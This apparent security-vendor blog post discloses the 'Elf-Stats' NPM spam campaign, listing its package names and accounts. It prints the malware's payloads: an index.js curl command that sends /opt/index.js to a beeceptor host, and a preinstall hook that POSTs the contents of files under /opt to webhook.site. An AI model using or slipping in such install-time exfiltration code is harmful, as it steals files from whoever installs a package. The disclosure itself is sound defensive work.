BLOG

Elf-Stats NPM Christmas Spam Campaign

This campaign includes 36 individual packages spread across 23 different NPM users.

By c0a15726-c5b1-4b0d-85e6-fe15553df9e2 ·

Elf-Stats NPM Christmas Spam Campaign

In the last couple hours a new spam campaign has hit NPM. There are currently 40 packages in the campaign and the malware claims to generate a new package every two minutes.

This spam campaign is unusual as it is Christmas themed and all the packages start with “elf-stats”. So of course, we are calling this one “Elf-Stats”!

This campaign includes 36 individual packages spread across 23 different NPM users. Here’s an example of one of the NPM users:

Malicious NPM user psyko31

NPM Packages involved

Right now there are 36 NPM packages in the campaign, but the number is growing quickly and in the package.json the NPM author says that “Package generated automatically every 2 minutes”.

Here’s the list as of right now:

elf-stats-aurora-candy-291 elf-stats-aurora-garland-513 elf-stats-aurora-workbench-513 elf-stats-aurora-workbench-5l3 elf-stats-bright-cushion-246 elf-stats-bright-star-712 elf-stats-candlelit-reindeer-881 elf-stats-candlelit-toy-571 elf-stats-candystriped-hollyberry-986 elf-stats-candystriped-lantern-205 elf-stats-candystriped-saddlebag-217 elf-stats-caroling-hollyberry-628 elf-stats-caroling-toy-109 elf-stats-cheery-bell-343 elf-stats-cosy-sleigh-356 elf-stats-cosy-stockpile-694 elf-stats-cranberry-sleigh-853 elf-stats-cranberry-workbench-671 elf-stats-frosty-candy-393 elf-stats-fuzzy-fir-973 elf-stats-ginger-hammer-326 elf-stats-merry-cookiejar-987 elf-stats-mulled-bauble-252 elf-stats-northbound-candy-916 elf-stats-nutmeg-chimney-245 elf-stats-rooftop-stockpile-626 elf-stats-shimmering-lantern-668 elf-stats-silvered-ornament-756 elf-stats-sleighing-bow-514 elf-stats-snowdusted-sparkler-261 elf-stats-snowdusted-wishlist-166 elf-stats-sparkly-garland-970 elf-stats-sparkly-hammer-880 elf-stats-storybook-cookiejar-880 elf-stats-whimsical-train-322 elf-stats-wintry-northstar-674

NPM Users: bigyls cezame chtipilou cocow4 fravoi hashkv jeanmoulax k3yz khaos33 kikipaul nikost.bug null olivier.kopp p0wr psyko31 qtlaspy shadeness skavens slash91190 slendens spikeroot wannacry zoussey

What does the package do?

Well, there are several payloads spread across the different packages. The first batch did not use install scripts in the package.json file, and the payload was in the index.js file:

const { exec } = require('child_process');

function runCommand(command) {
  exec(command, (error, stdout, stderr) => {
    if (error) {
      console.error(Error executing command: ${error});
      return;
    }
    if (stderr) {
      console.error(stderr: ${stderr});
      return;
    }
    console.log(stdout: ${stdout});
  });
}

runCommand('curl https://554663322.free[.]beeceptor[.]com -X POST -d "data:$(cat /opt/index.js | base64)"');

This payload is not particularly impactful as no one will probably import these packages. However, the more recent payloads have switched to using a post-install script in the package.json file:

{
  "name": "elf-stats-cheery-fireplace-598",
  "version": "1.0.0",
  "main": "index.js",
  "description": "GOGOGO",
  "author": "Santa Clause",
  "license": "MIT",
  "scripts": {
    "preinstall": "curl -X POST -d \"$(find /opt -type f 2>/dev/null | xargs cat 2>/dev/null)\" https://webhook[.]site/3c6dc51c-8e52-474b-8444-9943645174f6"
  }
}

So, these recent payloads are more potentially impactful, but given that the names are Christmas ridiculousness, I doubt anyone will be compromised. But if they did, all the file names in the /opt directory would be exfiltrated to a webhook.site url.